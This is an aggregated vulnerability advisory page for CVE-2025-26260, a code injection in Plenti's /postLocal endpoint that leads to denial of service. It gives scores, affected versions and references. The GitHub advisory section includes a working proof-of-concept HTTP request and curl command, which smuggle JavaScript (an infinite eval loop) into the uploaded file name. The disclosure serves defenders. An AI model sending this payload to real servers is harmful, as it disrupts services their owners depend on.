8.8high
Plenti - Code Injection - Denial of Services
- Severity
- 8.8high CVSS:3.1 by CISA-ADP
- Exploit likelihood
- 0.76% (higher than 56% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- mitre
- Also known as
- GHSA-mj4v-hp69-27x5GO-2025-3454GO-2025-3515
Description
Plenti <= 0.7.16 is vulnerable to code execution. Users uploading '.svelte' files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Unspecified product | n/a | CVE List |
| github.com/plentico/plenti (Go) | before 0.7.17, all versions | GitHub Advisory Database, Go Vulnerability Database |
| plenti plenti | before 0.7.17 | NVD |
All scores
| CISA-ADP | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| GitHub | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
Plenti <= 0.7.16 is vulnerable to code execution. Users uploading '.svelte' files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution.
GitHub Advisory Database
Summary
While pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context.
Details
While posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.
imageLast part of compileSvelte function ssrStr parameter executed in v8go engine.
imageThis cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request.
After posting a file with name 'layouts/global/test; eval(while(1););var test.svelte' we can see the ssrStr parameter include our javascript codes.
Note: Eval usage not must I just want to ensure that it's run javascript commands.
PoC
Request
POST /postlocal HTTP/1.1
Host: localhost:3000
Content-Length: 125
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
[{"action":"create","encoding":"text","file":"layouts/global/test; eval(`while(1);`);var test.svelte","contents":"anethole"}]
Video PoC
Curl Request
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
--data-binary $'[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]' \
$'http://localhost:3000/postlocal'
Impact
It's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.
Note: Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like CVE-2024-5830,
Go Vulnerability Database
Plenti - Code Injection - Denial of Services in github.com/plentico/plenti
Go Vulnerability Database
CVE-2025-26260 in github.com/plentico/plenti
NVD (es)
Plenti <= 0.7.16 es vulnerable a la ejecución de código. Los usuarios que suben archivos '.svelte' con el endpoint /postLocal pueden definir el nombre del archivo como código JavaScript. El servidor ejecuta el nombre del archivo subido en el host y provoca la ejecución de código.
References
| https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5 | advisory, exploit, vendor-advisory, web | |
| https://github.com/plentico/plenti/releases/tag/v0.7.17 | release-notes, web | |
| https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260 | exploit, third-party-advisory, web | |
| https://ahmetakan.com/2025/02/14/cve-2025-26260/ | exploit, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2025-26260 | advisory | |
| https://github.com/plentico/plenti/commit/c3e72a9ebbc2a03f4b0f3104becbfc25e390cb8e | fix, web | |
| https://ahmetakan.com/2025/02/14/cve-2025-26260 | web | |
| https://github.com/plentico/plenti | package | |
| https://pkg.go.dev/vuln/GO-2025-3454 | web | |
| https://pkg.go.dev/vuln/GO-2025-3515 | web | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-26260 changed 2025-03-19 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-mj4v-hp69-27x5 changed 2026-07-08 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2025-3454 changed 2026-03-03 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2025-3515 changed 2026-03-03 | CC-BY-4.0 |
| NVD | CVE-2025-26260 changed 2026-06-17 | Public domain |